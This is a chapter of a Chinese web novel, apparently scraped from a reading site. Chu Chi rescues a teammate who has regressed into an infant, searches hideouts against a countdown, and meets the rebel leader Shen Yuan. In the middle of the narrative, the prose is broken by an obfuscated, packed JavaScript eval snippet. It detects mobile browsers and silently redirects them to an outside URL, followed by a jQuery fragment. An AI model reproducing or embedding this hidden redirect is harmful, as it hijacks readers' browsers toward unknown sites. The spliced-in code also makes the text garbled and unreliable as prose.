中间层叠着灯笼鱼怪肿胀的躯体,不断渗出的粘液与血液混合,牙缝间卡着的半截鱼骨仍在滴落腥臭液体; 其下是布满眼球的石像,即使死亡,那些瞳孔仍在诡异地转动,散发着令人毛骨悚然的恶意; 最底层,紫蓝色管道缠绕的类人生物被黑袍半掩,只能看到管道中凝固的荧光物质。 楚池不自觉地绕着圆桌踱步,连他自己都没意识到自己此时的目光有多么专注……那像是,在欣赏某种美景。 他依旧踏在血泊上,留下一道道血色的痕迹。 “嗒……嗒……” 死寂中,唯有脚步声在空旷的大堂回荡。 就在这时,突然响起的一声婴儿啼哭唤醒了楚池的意识。 他猛得四处张望,很快顺着声音来源来到一处角落。那里奇迹般地保持洁净,一个破旧的纸箱里,躺着个几个月大的婴儿,此时粉色的眼眸盈满泪水,正委屈地望向他。 楚池愣住了。 他看着那只有几个月大的孩子,又看看那个破破烂烂的纸箱,她被放在这里,就像放一只小猫那样随意。 “乐……乐乐姐?” 楚池手足无措,他几乎不知道自己是怎么把那个纸箱抱起来的,他甚至不敢去碰那个婴儿,那太软,太脆弱,仿佛轻轻一碰就会碎掉。 而这个婴儿存在的本身就意味着一件事。 这个未来的世界,零队唯一的S级治愈系异能者,因为过度使用复活能力,将自己退化成了一个甚至无法说话的婴儿。 但她的记忆并未消失,她的灵魂被囚禁在这具稚嫩的身体里,无法挣脱,多么绝望。 楚池的手指无意识地探向那纤细的脖颈,却在触及的瞬间被狠狠咬住。 “嘶——” 小小的“乐乐姐”用乳牙表达着愤怒,发出“啊啊”的声音。 “好的好的……”楚池苦笑,“虽然我听不懂乐乐姐你在说什么,但我们得找可靠的人……你知道沈队在哪吗?” 楚池不切实际地问还不会说话的乐乐姐。 婴儿投来看傻子般的眼神。 “好吧,不是沈队……那沈源?” 小脑袋立刻用力点头。 “目标一致。”楚池喃喃自语,突然眼睛一亮,“等等乐乐姐,你知道沈队,那你记得73年前的事吗?” 婴儿眼中闪过哀伤,却无奈地点头。 楚池兴奋了一秒,很快又悲伤下去,“就算记得也没用,乐乐姐你现在没法说话告诉我啊……” 回应他的是个奶凶奶凶的白眼。 楚池深吸一口气,迅速调整好状态。他小心地抱着婴儿状态的林乐栖,开始连续瞬移。 按照他那个时间点上的沈无惑提供的据点坐标,他如幽灵般穿梭于废弃的建筑之间。 第一个据点,他感知力迅速穿透墙壁,深入地下,只有尘埃与寂静。 第二个据点,楚池悬于高空,感知快速扫过,空无一人。 第三个据点,破败的走廊里,只有风声呜咽。 第四个据点,两头巨型熊类异种盘踞,楚池确认四周没有人类,叹口气,下一秒两头怪物无声倒地 第五个据点……依旧空荡。 第六个,第七个…… 冷汗顺着楚池的额角滑下,怀里的乐乐姐已经疲惫地睡去。 第二次穿越的停留时间延长至半小时,但此刻,每一秒都像在倒计时。 仅剩十分钟。 如果他离开,这个世界的“楚池”就会苏醒。 ——而那个疯子,绝不会放过乐乐姐。 急躁与恐慌在胸腔翻涌,楚池的动作越来越粗暴。 第十二个据点位于某个仓库基地,他踹开铁门,里面空空荡荡,灰尘遍布,只有回声。 第十三个据点是一处高楼,他直接砸碎墙壁,依旧死寂。 楚池心里仿佛有一颗石头在重重下沉。 直到…… 第十四个据点。 隐藏的大门被他一脚踹开,迎接他的不再是令人窒息的寂静,而是…… “啊——!!” 人群的尖叫声骤然炸响。 数十双警惕的眼睛齐刷刷盯向他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496042|170193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚池猛地眨了眨眼,意识彻底清醒。怀里的乐乐姐被尖叫声惊醒,湿漉漉的粉色眼睛好奇地打量着四周,兴奋地“啊啊”叫起来。 一个满脸刀疤的光头壮汉推开人群,凶神恶煞地挡在楚池面前:“你谁啊?怎么还抱着个奶娃娃?怎么着,上面飞着的大少爷跑下来找不到回家的路了?要哭着找咱们这些下等人祈求帮助吗?” 五分钟。 300秒。 299秒。 298秒。 无形的倒计时在脑海中浮现。 楚池摸了摸脸上的眼镜,确认自己此时还处于伪装状态,问面前的光头壮汉道:“你知道沈源吗?” “沈源?”光头壮汉掏着耳朵,敷衍道:“有点儿熟呢,但是好像也不是很熟,您猜怎么着,自从前些日子撞了脑袋,这记性实在不好,啊对了,说不定天上飞着的大少爷给些好处,我这记性就啪得一下能想起些什么。” 286秒。 285秒。 284秒。 楚池推了推镜框,心平气和地继续倒计时。 然后…… “砰!” 壮汉还没反应过来,整个人已经重重砸在地上。剧痛从四肢百骸传来,耳边只剩下嗡嗡的耳鸣。渐渐清晰的,是踩在他头上的鞋底,和冰冷的声音: “我没有多少时间了。来,回答我,” 那踩在他脑袋上的入侵者居高临下地俯视他,冷冰冰地发问:“沈源在哪里?” “草。”光头壮汉眼前发黑,扯着嗓子喊,“我他/妈就知道你这混蛋是来寻仇的!!还抱着个小屁孩你装啥呢?!兄弟们别管我,抄家伙干他——” 楚池表情瞬间冷下来。 就在这时。 “够了。” 人群外突然响起一道声音。 人群如潮水般分开。 一个相貌平平的男人缓步走来,正是楚池在81年见过的,那个神秘的反抗军首领。 “我是沈源。” 男人冷漠地看向楚池,那眼里满是审视,却在看到婴儿状态的林乐栖时愣住,随即他飞快地将视线重新落回楚池脸上,仔仔细细地打量着那张面容,而后几不可察地笑了一下。 “好久不见,我们终于又见面了。”